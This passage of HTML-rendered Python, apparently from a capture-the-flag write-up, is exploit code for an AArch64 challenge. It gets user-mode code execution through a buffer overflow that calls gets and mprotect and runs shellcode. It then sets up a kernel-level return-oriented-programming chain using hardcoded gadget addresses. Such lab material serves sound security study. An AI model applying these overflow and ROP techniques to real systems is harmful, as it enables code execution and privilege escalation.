&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;EL0_BUF &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x7FFE_FFFF_D000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;EL0_WSM &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x7FFE_FFFF_E000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;EL0_LDP_X29_X30_SP_RET &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x0040_00FC&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;EL0_LDR_X19_LDP_X29_X30_SP_RET &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x0040_0294&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;EL0_RET &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x0040_0100&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;make_shellcode&lt;/span&gt;(assembly: str) &lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt; bytes:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    shellcode &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; asm(assembly)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;assert&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;not&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; shellcode
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; shellcode
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;load_key&lt;/span&gt;(idx: int):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendlineafter(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;cmd&amp;gt; &amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendlineafter(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;index: &amp;#34;&lt;/span&gt;, str(idx)&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;encode())
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;save_key&lt;/span&gt;(idx: int, key: bytes):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendlineafter(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;cmd&amp;gt; &amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendlineafter(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;index: &amp;#34;&lt;/span&gt;, str(idx)&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;encode())
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendlineafter(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;key: &amp;#34;&lt;/span&gt;, key)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;el0_arbitrary_code_execute&lt;/span&gt;(assembly: str) &lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;None&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;a&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x100&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(el0_elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;gets&amp;#34;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(el0_elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;gets&amp;#34;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    save_key(&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;, pl)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;a&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x120&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; make_shellcode(assembly)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;assert&lt;/span&gt; len(pl) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x1000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendline(pl)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;a&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; (&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\x00&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; (&lt;span style=&#34;color:#ae81ff&#34;&gt;0x100&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; len(pl))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(el0_elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;main&amp;#34;&lt;/span&gt;] &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x44&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(el0_elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;mprotect&amp;#34;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    save_key(&lt;span style=&#34;color:#ae81ff&#34;&gt;0x1000&lt;/span&gt;, pl)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    load_key(&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;a&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x100&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(EL0_RET)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(el0_elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;gets&amp;#34;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(DUMMY_VALUE)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(EL0_SFP_IN_RUN &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x30&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    save_key(&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;, pl)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; p64(EL0_STACK_LOW &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x100&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(EL0_BUF &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x120&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendline(pl)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;el1_return_oriented_programming&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    rop_chain: list[int],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    el0_head_assembly: str &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    head_input: bytes &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    el0_tail_assembly: str &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    tail_input: bytes &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;None&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ROP_CHAIN_ADDR &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xFFFFFFFFC0019C00&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    EL1_SYSCALL_HANDLER_RET_ADDR &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xFFFFFFFFC0019BB8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    rop_chain &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; rop_chain[:&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;] &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; [&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;] &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; rop_chain[&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;:]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    rop_chain &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;join([p64(gadget) &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; gadget &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; rop_chain])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;assert&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;not&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; rop_chain &lt;span style=&#34;color:#f92672&#34;&gt;and&lt;/span&gt; len(rop_chain) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x420&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    el0_arbitrary_code_execute(
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        el0_head_assembly
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&amp;#34;  
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        mov x22, xzr;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        ldr x23, =&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;len(rop_chain)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        ldr x24, =&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;ROP_CHAIN_ADDR&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        read_rop_chain:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            mov x0, 0;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            add x1, x24, x22;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            mov x2, 1;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            ldr x5, =&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;el0_elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;read&amp;#39;&lt;/span&gt;]&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            blr x5;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            add x22, x22, 1;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            cmp x22, x23;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            b.lt read_rop_chain
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        mov x0, 0;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        ldr x1, =&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;hex(EL1_SYSCALL_HANDLER_RET_ADDR&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        mov x2, 1;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        ldr x5, =&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;el0_elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;read&amp;#39;&lt;/span&gt;]&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        blr x5;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
